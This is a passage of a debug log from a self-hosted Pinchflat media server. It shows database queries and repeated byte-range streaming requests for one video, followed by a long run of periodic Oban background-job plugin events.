m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:47:15.909 [info] Sent 200 in 73ms 09:47:16.045 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:16.045 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:16.048 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=147.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:16.050 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 0 to 1962181183 09:47:16.051 [info] Sent 206 in 5ms 09:47:16.053 [info] CONNECTED TO Phoenix.LiveView.Socket in 86µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "DVg9Dgx6Dgs8YV8GEDgGfx0URDIBf0AwX6S6t5HZQ4jVUhsKDn1hnG5z", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://tube.home.svallee.fr/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://tube.home.svallee.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 09:47:16.059 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "Unn8xOFQmU5PEPu4YzuZo8uJ"} 09:47:16.059 [debug] Replied in 176µs 09:47:17.626 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:17.627 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:17.628 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1579.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:17.630 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 8710051 to 1962181183 09:47:17.630 [info] Sent 206 in 3ms 09:47:19.323 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:19.324 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:19.328 [debug] QUERY OK source="media_items" db=1.0ms queue=1.1ms idle=1117.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:19.329 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 131956736 to 1962181183 09:47:19.329 [info] Sent 206 in 6ms 09:47:19.380 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:19.380 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:19.382 [debug] QUERY OK source="media_items" db=0.5ms idle=628.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:19.383 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 133693440 to 1962181183 09:47:19.383 [info] Sent 206 in 2ms 09:47:19.434 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:19.434 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:19.435 [debug] QUERY OK source="media_items" db=0.8ms idle=500.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:19.436 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 132481024 to 1962181183 09:47:19.436 [info] Sent 206 in 2ms 09:47:19.481 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:19.481 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:19.482 [debug] QUERY OK source="media_items" db=0.8ms idle=547.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:19.483 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 135168000 to 1962181183 09:47:19.484 [info] Sent 206 in 2ms 09:47:19.962 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:19.962 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:19.966 [debug] QUERY OK source="media_items" db=2.0ms queue=0.9ms idle=634.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:19.967 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 288292864 to 1962181183 09:47:19.967 [info] Sent 206 in 5ms 09:47:21.668 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:21.669 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:21.670 [debug] QUERY OK source="media_items" db=1.0ms idle=671.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:21.671 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 110723072 to 1962181183 09:47:21.672 [info] Sent 206 in 3ms 09:47:21.685 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:21.685 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:21.687 [debug] QUERY OK source="media_items" db=0.6ms idle=688.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:21.688 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 112099328 to 1962181183 09:47:21.688 [info] Sent 206 in 3ms 09:47:21.701 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:21.701 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:21.702 [debug] QUERY OK source="media_items" db=0.7ms idle=703.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:21.703 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 110952448 to 1962181183 09:47:21.703 [info] Sent 206 in 2ms 09:47:21.902 [info] GET /media/dad78e99-a639-475a-9984-165b483a272d/stream 09:47:21.902 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dad78e99-a639-475a-9984-165b483a272d", "v" => "1776404244"} Pipelines: [:maybe_basic_auth] 09:47:21.904 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=904.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dad78e99-a639-475a-9984-165b483a272d"] 09:47:21.905 [debug] Streaming media item: dad78e99-a639-475a-9984-165b483a272d from 170721280 to 1962181183 09:47:21.905 [info] Sent 206 in 3ms 09:47:34.783 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.707 [info] {"source":"oban","duration":510,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:48:04.787 [info] {"source":"oban","duration":3042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:34.789 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.708 [info] {"source":"oban","duration":677,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:49:04.792 [info] {"source":"oban","duration":2285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:13.808 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 09:49:34.794 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.714 [info] {"source":"oban","duration":4126,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:50:04.796 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:34.798 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.717 [info] {"source":"oban","duration":1968,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:51:04.801 [info] {"source":"oban","duration":2172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:34.804 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.720 [info] {"source":"oban","duration":975,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:52:04.806 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:13.823 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 09:52:34.808 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.722 [info] {"source":"oban","duration":1023,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:53:04.810 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:34.813 [info] {"source":"oban","duration":2134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.723 [info] {"source":"oban","duration":474,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:54:04.815 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:34.817 [info] {"source":"oban","duration":1774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.724 [info] {"source":"oban","duration":447,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:55:04.819 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:34.823 [info] {"source":"oban","duration":3269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.727 [info] {"source":"oban","duration":2583,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:56:04.827 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:34.830 [info] {"source":"oban","duration":1902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.728 [info] {"source":"oban","duration":378,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:57:04.832 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:34.834 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.729 [info] {"source":"oban","duration":478,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:58:04.837 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:34.839 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.730 [info] {"source":"oban","duration":782,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:59:04.842 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:34.845 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.733 [info] {"source":"oban","duration":1796,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:00:04.847 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:34.849 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.735 [info] {"source":"oban","duration":639,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:01:04.851 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:34.854 [info] {"source":"oban","duration":2406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.736 [info] {"source":"oban","duration":480,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:02:04.856 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:34.859 [info] {"source":"oban","duration":2436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.739 [info] {"source":"oban","duration":973,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:03:04.861 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:34.863 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.742 [info] {"source":"oban","duration":2100,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:04:04.865 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:34.867 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.743 [info] {"source":"oban","duration":423,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:05:04.869 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:34.871 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.744 [info] {"source":"oban","duration":498,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:06:04.873 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:34.877 [info] {"source":"oban","duration":2916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.745 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:07:04.879 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:34.884 [info] {"source":"oban","duration":4085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.747 [info] {"source":"oban","duration":1376,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:08:04.886 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:34.889 [info] {"source":"oban","duration":2315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.748 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:09:04.891 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:34.895 [info] {"source":"oban","duration":2995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.752 [info] {"source":"oban","duration":1148,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:10:04.898 [info] {"source":"oban","duration":2210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:34.901 [info] {"source":"oban","duration":1902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.755 [info] {"source":"oban","duration":2496,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:11:04.904 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:34.906 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.757 [info] {"source":"oban","duration":1387,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:12:04.909 [info] {"source":"oban","duration":2225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:34.911 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.760 [info] {"source":"oban","duration":828,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:13:04.913 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:34.915 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.762 [info] {"source":"oban","duration":1263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:14:04.918 [info] {"source":"oban","duration":2558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:34.921 [info] {"source":"oban","duration":2218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.765 [info] {"source":"oban","duration":443,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:15:04.926 [info] {"source":"oban","duration":3839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:34.929 [info] {"source":"oban","duration":1968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.767 [info] {"source":"oban","duration":606,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:16:04.933 [info] {"source":"oban","duration":3753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:34.936 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.769 [info] {"source":"oban","duration":688,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:17:04.939 [info] {"source":"oban","duration":1800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:34.942 [info] {"source":"oban","duration":2407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.770 [info] {"source":"oban","duration":534,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:18:04.947 [info] {"source":"oban","duration":3152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:34.949 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.772 [info] {"source":"oban","duration":1200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:19:04.951 [info] {"source":"oban","duration":1752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:34.954 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.773 [info] {"source":"oban","duration":561,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:20:04.957 [info] {"source":"oban","duration":2090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:34.962 [info] {"source":"oban","duration":3721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.774 [info] {"source":"oban","duration":710,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:21:04.965 [info] {"source":"oban","duration":2675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:34.972 [info] {"source":"oban","duration":5302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.775 [info] {"source":"oban","duration":428,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:22:04.975 [info] {"source":"oban","duration":1991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:34.978 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.776 [info] {"source":"oban","duration":537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:23:04.980 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:34.983 [info] {"source":"oban","duration":2402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.779 [info] {"source":"oban","duration":1133,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:24:04.985 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:34.988 [info] {"source":"oban","duration":2446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.780 [info] {"source":"oban","duration":671,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:25:04.990 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:34.992 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.787 [info] {"source":"oban","duration":5815,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:26:04.994 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:34.996 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.789 [info] {"source":"oban","duration":608,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:27:04.999 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:35.002 [info] {"source":"oban","duration":1975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.791 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:28:05.004 [info] {"source":"oban","duration":1854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 